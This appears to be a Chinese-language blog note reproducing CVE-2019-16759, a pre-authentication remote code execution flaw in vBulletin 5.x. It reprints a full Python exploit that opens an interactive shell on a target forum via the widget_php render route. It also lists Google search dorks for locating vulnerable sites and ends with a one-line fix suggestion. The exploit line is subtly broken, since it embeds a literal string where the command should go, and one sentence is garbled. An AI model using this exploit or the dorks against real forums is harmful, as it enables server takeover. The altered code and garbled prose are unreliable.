CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE 漏洞復現

  • 2019 年 10 月 10 日
  • 筆記

0X1 漏洞概述

vBulletin 是世界上用戶非常廣泛的PHP論壇,很多大型論壇都選擇vBulletin作為自己的社區。vBulletin高效,穩定,安全,在中國也有很多大型客戶,比如X鳥網,XX團購等在線上萬人的論壇都用vBulletin。

vBulletin的官方網站是 http://www.vBulletin.com 它不是免費軟體,但價格很低。的公司網站和論壇。因此,該0day漏洞細節的公布會對大量的用戶帶來影響。

匿名黑客稱發現vBulletin中存在一個遠程程式碼執行漏洞,影響vBulletin v 5.0.0到最新的v 5.5.4版本。該漏洞非常嚴重的原因不僅在於可以遠程利用,還在於漏洞利用並不需要認證。由於論壇軟體包是內部 widget文件通過URL參數接收配置的方式存在漏洞,伺服器在分析參數時又沒有進行適當的安全檢查

漏洞POC參考:https://seclists.org/fulldisclosure/2019/Sep/31

#!/usr/bin/python  #  # vBulletin 5.x 0day pre-auth RCE exploit  #  # This should work on all versions from 5.0.0 till 5.5.4  #  # Google Dorks:  # - site:*.vbulletin.net  # - "Powered by vBulletin Version 5.5.4"    import requests  import sys    if len(sys.argv) != 2:      sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])    params = {"routestring":"ajax/render/widget_php"}    while True:      try:          cmd = raw_input("vBulletin$")          params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;"          r = requests.post(url = sys.argv[1], data = params)          if r.status_code == 200:              print r.text          else:              sys.exit("Exploit failed! :(")      except KeyboardInterrupt:          sys.exit("nClosing shell...")      except Exception, e:          sys.exit(str(e))

0X2 環境搭建

由於vBulletin需要一些$才能下載源碼,找了一下發現網上可以下載的是4.x的程式碼,無法復現。而該項目維護人員目前還並沒有發布更新修補程式,官網的測試版本還是最新的5.5.4,因此使用在線測試環境測試。漏洞原理分析可以參考chybeta在先知上做的分析。在官網上填寫郵箱,即可得到測試版地址,如下所示

https://www.vbulletin.com/en/vb5-trial/

0X3 漏洞復現

使用上面的poc程式碼測試demo環境,可以看到返回條件成功

也可參考chybeta的復現過程進行程式碼注入執行

0X4 漏洞修復

建議對includesvb5frontendcontrollerbbcode.php中的變數evalCode做過濾防護

0x5 參考文章

https://xz.aliyun.com/t/6419

https://seclists.org/fulldisclosure/2019/Sep/31